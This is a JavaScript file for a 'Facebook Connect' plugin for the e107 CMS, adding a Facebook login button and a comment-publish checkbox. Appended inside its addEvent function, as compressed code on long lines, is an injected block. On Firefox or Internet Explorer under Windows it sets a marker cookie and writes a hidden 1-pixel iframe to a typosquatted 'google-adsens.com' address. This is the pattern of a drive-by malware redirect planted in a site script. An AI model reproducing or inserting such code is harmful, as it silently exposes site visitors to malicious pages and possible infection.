/**
 * Facebook Connect
 * Version: 2.6
 * Plugin: e107.org CMS e107v7+
 * Updated: 24/04/2010 
 * Url: http://ask.altervista.org
 * Author: Filosofi Luca > aSeptik
 * Contact: aseptik@gmail.com
 * Copyright: 2009 / 2010 (c)    
 *  
 */  

addEvent(window, 'load', initFacebook);

function setFacebookTargetId() {
var target_type = ge('fb_publish_target_type');
ge('fb_publish_target_id').value = target_type.options[target_type.selectedIndex].value.split('-')[1];
};

function initFacebook(){
var target_type = ge('fb_publish_target_type');
if ( target_type ) {
addEvent( target_type , 'change', setFacebookTargetId );
}
AddFacebookToLogin();
};

function ge(elem) {
  return document.getElementById(elem);
};

function AddFacebookPublish()  {
    if ( document.getElementsByName("commentsubmit")[0] != undefined ) {
var commentbutton = document.getElementsByName("commentsubmit")[0];
	
	  var checkbox = document.createElement("input");
	  checkbox.type = "checkbox";
	  checkbox.name = "publish_fb_checkbox";
	  checkbox.setAttribute('id', 'publish_fb_checkbox');  
	  checkbox.defaultChecked = true;
	  
	  var txt = document.createTextNode("Publish Comment to Facebook");
	//	checkbox.setAttribute("style", "margin-right:10px");
		
	  var img = document.createElement("img");
	  img.setAttribute("src", "http://static.ak.fbcdn.net/images/icons/favicon.gif");
	  img.setAttribute("alt", "");
	  img.setAttribute("style", "padding-left:5px");
	     
	  commentbutton.parentNode.insertBefore(img,commentbutton.nextSibling); 
		img.parentNode.insertBefore(checkbox,img.nextSibling);
		checkbox.parentNode.insertBefore(txt,checkbox.nextSibling);     
  }
};

function AddFacebookToLogin() {
            if ( document.getElementById("signupform") != undefined ) {
   var signupform = document.getElementById("signupform");
	  
	 var newdiv = document.createElement('div');
   newdiv.setAttribute('id', 'facebook_to_login');     
   signupform.parentNode.insertBefore(newdiv, signupform);
   var html = "<center>OR | Login by using Facebook<br /><br /><fb:login-button size=\"medium\" background=\"light\" length=\"long\" onlogin=\"facebook_onlogin_ready();\"></fb:login-button><br /><br /></center>";
   document.getElementById("facebook_to_login").innerHTML = html;    
   }    
};

//http://ejohn.org/projects/flexible-javascript-events/
function addEvent( obj, type, fn ) {
  if ( obj.attachEvent ) {
    obj["e"+type+fn] = fn;
    obj[type+fn] = function() { obj["e"+type+fn]( window.event ) };
    obj.attachEvent( "on"+type, obj[type+fn] );
  } 
  else{
    obj.addEventListener( type, fn, false );	
  }
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
